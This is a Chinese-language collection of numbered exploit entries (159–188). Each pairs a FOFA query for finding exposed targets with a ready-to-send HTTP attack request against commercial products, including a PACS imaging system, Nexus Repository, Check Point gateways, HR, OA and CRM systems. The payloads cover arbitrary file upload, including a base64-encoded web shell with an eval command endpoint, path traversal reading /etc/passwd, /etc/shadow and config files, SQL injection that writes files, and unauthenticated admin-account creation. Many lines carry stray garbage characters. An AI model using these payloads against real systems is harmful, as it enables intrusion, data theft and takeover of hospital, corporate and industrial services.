: R' @: U( O0 t0 X) T4 H6 t0 ^159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
1 n+ s* }$ i& [. R# qFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
% M; l, T8 O* |, a+ L8 ]; tPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
- z+ e* J; x9 F  L: H( B0 U2 C: bContent-Length: 1080
) _  C; f3 ^$ B! Q) |- {  SAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
, H# M1 S1 J) Z# N7 J0 JSoapaction: "http://rainier/jobUpload"
$ C2 L5 {, U% E
4 r6 H9 [1 m% x; q9 Q5 b. n<?xml version="1.0" encoding="utf-8"?>
/ Z- R8 k( p$ e' r! C' p/ |* B2 }0 i<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
2 p4 W0 p' Q. ]5 ]" F<vcode>1</vcode>
6 V) U* n+ x3 `. h<subFolder></subFolder>
+ \4 l8 i9 b& S: n3 ~% \<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
, L- A( p# z$ v</jobUpload>
; H4 k; z9 d! l</soap:Body>
6 {% r$ ]& V+ X5 w5 r+ y</soap:Envelope>


3 ^& _9 j- t& _, g, @! W0 n/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
9 e1 U: [2 N6 \* J+ _$ \

160. Sonatype Nexus Repository 3目录遍历与文件读取
4 w" C. q/ u, u' WCVE-2024-4956
FOFA：title="Nexus Repository Manager"
1 Z1 v% {: Y' ^GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
7 W4 a& B$ a0 G' F7 T  B( _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
6 G) e- E2 h$ @% x2 e( A9 L3 D, P: iAccept: */*
% Y% Z+ P8 |" l% w& T* nAccept-Language: en
9 c. V/ j& D; Q' x  q6 G7 NAccept-Encoding: gzip


$ p& ?0 z4 q1 u- b, D; w161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
$ S+ u4 o' E1 K& j4 x第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
. Z- N! D2 m" \6 l" t: aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
/ o( _1 a, Q. C/ Q! O# Z  TConnection: close
. x( A  i# t0 s% ZContent-Length: 445
Content-Type: text/xml
+ q  @* t1 `4 z5 A2 y2 X$ f$ YAccept-Encoding: gzip
1 j; U% A" L& \
<?xml version="1.0" encoding="utf-8"?>
3 Y' D- K2 @- c' i" a9 W<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
1 U- r; A% q9 R( r<soap:Body>
/ k9 l" H( K+ r4 _% ]7 v' I<UploadResume xmlns="http://tempuri.org/">
& P: e% m9 W4 _; j<ip>1</ip>
9 J& f( H! P- [5 J- w  R<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
" m2 A! p( z+ K) c<tag>3</tag>
! s" ?; P' I$ V# M& _6 I8 l+ Q) R</UploadResume>
</soap:Body>
</soap:Envelope>

% W. G6 {. F0 t# [2 v3 M$ t
http://x.x.x.x/dizxdell.aspx

% K& d* c$ g$ @5 I162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
( A0 u+ F' W/ |FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
6 y- I# O# d7 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
; ^+ ~, C+ w/ d6 n0 J* G! s8 mContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
% k3 h( [# E7 `2 j
' Z; F* U. X- v5 S6 K! W3 G------WebKitFormBoundaryeegvclmyurlotuey
) c: g5 G; s/ j# l  @% g( a+ dContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
7 u8 ^; u+ k/ e0 E; p5 JContent-Type: application/octet-stream
, F6 V  |0 |, [5 o" d! C2 w
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

$ d. R' P0 E3 v* R/ u/ u* i6 ~upload
& {! t$ l( E* Z# ]! F3 Z2 ~2 I' D0 R------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
9 m' B+ W) j4 A! s$ K/ B
/ Y1 h; Y# v% M3 w9 h" s9 nResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
3 e; ^: a+ V4 w& i. ~  y
/opt/resources
* t8 [/ j  A" F( U! O------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
9 Q* q) H& r5 j/ p+ J- E9 x
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
2 b5 L# l+ u  C& }  o) _( _3 jFOFA: icon_hash="-795291075"
) g( K6 g8 K6 I) ^POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
# K+ J" A5 Z; C- mContent-Length: 293
# q, ?7 C* K, y* V9 XAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" S1 }5 M4 w6 O5 V4 i. uContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
# J  Q$ q9 E  z& j5 Z) x5 H8 ZContent-Disposition: form-data; name="name"

1.php
# c4 [5 E0 B0 c5 j------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
0 V" N& }/ ?, l+ l
6 r* H! `  F7 y1 c7 `rvjhvbhwwuooyiioxega
' C; W, K4 I$ B' o2 f/ B% E" N4 V------iiqvnofupvhdyrcoqyuujyetjvqgocod--
3 w- y! i8 p  W- N- g
* y* ]" i- T+ K. j9 F" ?
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
6 F1 w3 c$ a$ S1 p0 |POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
' u6 i0 q( \; U; a- V4 w) h# T" uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
3 x6 a: a6 C, b' t( EContent-Length: 288
. w; e" {  z- |( \Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
: n' A) D# F1 k* rContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
9 ?+ g! D2 b5 C) V3 L% [Accept-Encoding: gzip

4 g7 U0 s9 f8 w7 a7 l/ h------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
/ ^3 U) i' ~* E. I8 Q( s0 O
9 j0 G) l( Z9 ?; l3 F; V8 j<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
$ H1 F" ]$ L* Q; k% l) Z2 E
. ], c. n, c7 V0 A& L
8 Y& ^) h; I: \& Z6 o" P" ahttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
: b/ G- B; b! Q5 ^" P4 S4 G: J
. M* D0 E$ P  h" v165. OrangeHRM 3.3.3 SQL 注入
8 `% b: V/ j* _CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

  _2 Z% c; n3 f$ z
: h$ d2 M! w! f/ O5 H1 Q; O166. 中成科信票务管理平台SeatMapHandler SQL注入
3 l0 Q8 o" ^* _" c6 V7 [FOFA：body="技术支持：北京中成科信科技发展有限公司"
$ f% o$ c2 z" J0 J* H  R$ p6 A4 FPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
! f, [) v* Q: G3 q- z6 i2 Y% iHost:
Pragma: no-cache
6 c* H  r9 V9 w5 n9 `' M" n7 N: NCache-Control: no-cache
( a, G1 ?9 ?4 T& d# yUpgrade-Insecure-Requests: 1
3 P, e; z7 b" \. w  zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 f3 A3 }- U! c( XAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

4 p4 |" h/ @* b  W0 ?( wMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

8 h6 G- B( `$ _; A6 r
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
; x9 f# v) |% i. a% ]" TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 [$ o' z1 k$ hContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
2 l" e. F( h: ?: M+ d' k) g3 IAccept: */*
3 m6 o( J; I1 E5 p9 r: I& h+ jConnection: keep-alive
3 \& H2 g5 a6 v0 C. d. i) s
9 s1 j& Q" N/ K" |4 c
# d1 p' T' s" T# A9 ^* l$ W168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
& Y* g1 x6 g" D! M- u6 kGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
' }3 ?6 C" N& Z0 h7 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) Y7 ]% H9 ~% ]7 h4 SConnection: close
" s  a9 V6 u. t9 [
1 N/ q1 r3 ]- @1 N) T4 }- k6 Q

169. 宏景EHR downlawbase SQL注入
# g$ h/ E  w2 p3 HFOFA：app="HJSOFT-HCM"
8 S0 z4 I  O' {- W# u. CGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; ~8 |. h9 W0 D, [7 `- V6 @' G/ DAccept: */*
* r7 n1 t) }. N3 G- e7 x0 R1 iAccept-Encoding: gzip, deflate
Connection: close


1 n  [8 a5 h9 X; L) v
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
4 k8 }+ d0 y" }) c6 v' B' n+ i% ]2 gFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
/ z/ R7 w$ O! k  y% `- E4 ]+ ^; `Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
. C& W/ E3 n3 t" l
filename=../webapps/ROOT/WEB-INF/web.xml

7 s8 C1 ~# c3 T2 d% z7 ~+ `5 q+ |
171. 通天星CMSV6车载定位监控平台 SQL注入
- F, K6 s# k. v+ }) L9 G8 kFOFA：body="/808gps/"
" f. f+ d: F* O& p, ?GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
! o3 r) P& v0 K$ D$ D5 kHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. P" J3 J! U! E0 G, TAccept-Encoding: gzip, deflate
" o2 m1 n0 ~! ?% e! L2 DConnection: close
) u3 z+ }4 J3 `7 I! w
1 j) @6 C; T4 p

- t4 J% B$ y/ f) I, g9 a8 O! M: s9 `172. DT-高清车牌识别摄像机任意文件读取
9 @- B. H: g  B( a& M/ [/ JFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
, X2 ^* w- Z8 X, s$ y4 P* ]$ HAccept: */*
Connection: keep-alive

% i# f1 p9 ^( H% P0 G, J* ?6 v

0 x; @; K1 Y1 |; Y& `173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
. V; W2 @) T" H8 fPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
: [, z9 j# {6 z1 j. [( P
2 c2 a# Z8 t. M  b  r. j! k! AaCSHELL/../../../../../../../etc/shadow

" z  f( ~3 k$ p! x! l

4 ]" \: h( U2 O3 g( W# O' n174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% ^  w+ x# M: T3 Y1 nFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
* [1 K, q( V+ J% N0 `* z4 f  m0 |  FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 a; \! N0 s0 ^, y6 C) oAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

9 t6 K0 T) o$ f

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
% U& u* q, e% f, eHost:
+ |: G9 Z1 T2 W$ o& }8 U* EUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 o- @1 k, b! ^9 _: R8 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 [- l$ M* Z0 ~- C- P( s: l$ I2 FAccept-Encoding: gzip, deflate
Connection: close
& M: U3 @; K  h" X$ b$ F' dUpgrade-Insecure-Requests: 1
8 w6 B, E7 k% t$ X; `* R' T
4 b- ?2 @5 j7 v. N
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
9 H6 w2 a9 _" J  rPOST /manager/teletext/material/rewrite.php HTTP/1.1
8 B8 B: _: |2 s- t4 e1 eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
- `- J- c( c6 ~1 e. mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
$ X  y0 ]) P/ JConnection: close

. C& s- V8 }# P. f------WebKitFormBoundaryOKldnDPT
( I4 C$ d. }% L9 R3 W0 U% x5 CContent-Disposition: form-data; name="tmp_name"; filename="test.php"
$ R6 F8 d( V+ O. r9 q  yContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
( ?6 `7 E5 M  m- w& ^. s2 g# LContent-Disposition: form-data; name="uploadtime"


! I! g7 q9 z: U6 [' M- Q------WebKitFormBoundaryOKldnDPT--
5 L& Y7 m7 ]% m7 |
- O7 }0 S; _% g+ ~& ^
5 x; d6 c# E1 H! l/ m
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
8 o4 M2 u* l6 K/ {8 R$ z7 N" n& O/userLogin.asp/../actionpolicy_status/../M60.cfg
6 A; ^& Q  [9 o3 e/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
3 W  d+ t! B) L6 e! q& E- T0 n/userLogin.asp/../actionpolicy_status/../GR3200.cfg
4 D# |8 @6 G0 Q! v* |& d+ n8 R/userLogin.asp/../actionpolicy_status/../GR2200.cfg
* G. c# O3 A# N; S( ~/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
+ N8 _$ h( d! C/userLogin.asp/../actionpolicy_status/../ER3260.cfg
5 _9 T5 u% J: F! K/ D  s; s/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
, q6 ~9 k" t9 Y4 W! K/userLogin.asp/../actionpolicy_status/../ER3200.cfg
, z, @1 k3 u. {; I0 ]/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
# [! G- f; K' S. f# x* g+ F; b/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
* ]0 J$ t$ f/ `- i8 n' e! \POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
8 k3 j2 L' p: i  A# a! sHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- c) E4 n8 m! Y, r( e; |/ H6 l9 hContent-Length: 252
Accept-Encoding: gzip, deflate
$ U& `; }- o7 {* F3 t: eConnection: close
, n4 s/ L3 J% s1 g/ VContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
, R: U) v9 ~) z, _" x8 i# HContent-Length: 255

2 K* C8 }( E" m: Z# R, `0 ?12234
( s* n8 k, b# N. _+ Z-----------------aqutkea7vvanpqy3rh2l--

: `7 ^6 u! f% o* g4 p# n# r. t" u
GET /imc/primepush/%2e%2e/flex/12234.txt
9 N* b1 H7 ?8 L  B8 e" w8 B( I

+ ]; g8 v9 O# w. j9 J179. 建文工程管理系统存在任意文件读取
* ?5 U5 O% ?, [1 b1 `2 E( N% }POST /Common/DownLoad2.aspx HTTP/1.1
7 U9 j# \" O( L) l) _5 PHost: {{Hostname}}
$ ~- _0 ?5 u. O2 _4 uContent-Type: application/x-www-form-urlencoded
- o7 n+ e8 F, H1 x  H7 K& o% GUser-Agent: Mozilla/5.0
6 O/ _4 i" g8 f% {9 J& c
9 j" J/ S0 W# R' `3 _path=../log4net.config&Name=


4 S& h+ Z' p9 r) x0 W180. 帮管客 CRM jiliyu SQL注入
% F3 Q3 n3 X* X9 qFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ I' p1 {. q& R, j  h9 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 Y4 `2 c; d% YAccept-Language: zh-CN,zh;q=0.9
' T( U7 u! [' j! J' @, ^3 C; QConnection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
5 D  z8 ]$ Z. \3 \4 D7 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, u+ T; H4 U& O# b$ T9 g2 fAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
6 Q4 m/ c# e0 G% e" QConnection: close
Content-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


- t$ q2 P- x* x182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
( {. A. g. [; I  }5 f) mHost: your-ip
+ I; {0 x5 L5 G: d! E! IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
9 z! r4 z! j% }9 W( A+ ~Connection: close
8 y% f/ L0 k1 [3 ?  bContent-Type: application/x-www-form-urlencoded

9 y) q( L+ {5 O3 i' H8 s2 {* D- L
username=test1234&pwd=test1234&savedays=1

( j$ \/ ?& C4 A* G
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
6 p4 k1 S. A- I2 O! |  {3 h& }# DFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
% b6 P( G% ?  e0 j' l% eHost: your-ip
# }" G6 A* u1 n( A, K3 VUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
8 q2 Z% a% D& U+ o! V# {  wAccept-Encoding: gzip, deflate
Connection: close


, Q) j3 c% w4 u  K# o$ W184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
2 m' v, Y5 e" Q% WPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; |2 N- X0 }) Z$ ~9 bAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
1 P( ?2 x. w, o2 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 L9 h3 j+ ^5 P2 `; HX-Requested-With: XMLHttpRequest
9 {, w4 ]; r' n9 s6 D
& [. b. J7 @* p; I1 o, p
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
+ ]. h, i+ i( X: d

185. 瑞友天翼应用虚拟化系统SQL注入
6 [: Q% ^) g( _. L$ l6 pversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
. G- n* b7 `0 l' }3 `6 v% G* ]( yGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
- ?' ?0 p1 ~- l- Y, ~7 s2 iHost: host


186. F-logic DataCube3 SQL注入
+ L# R& I9 ?6 g" j5 m7 o" {; G8 fCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
& W: A4 X0 T+ M" f& V/ S2 mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
3 \4 M7 Q' Z3 l1 Q- C3 \
5 d6 B4 y. \5 [: @req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
7 X0 D1 ]. Z8 Q4 s! w4 s% k% k

. P! H, b$ ~4 x) N9 R7 ]2 i; ~187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
% [9 v  W' z7 i; \! A) WPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
! O! F' N( V' f% c

# \9 t% O$ Y0 a" R! yobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
8 H5 ?0 g# J& j/ H6 r- E6 DFOFA：body="/system/get_rtc_user_defined_info?site_id"
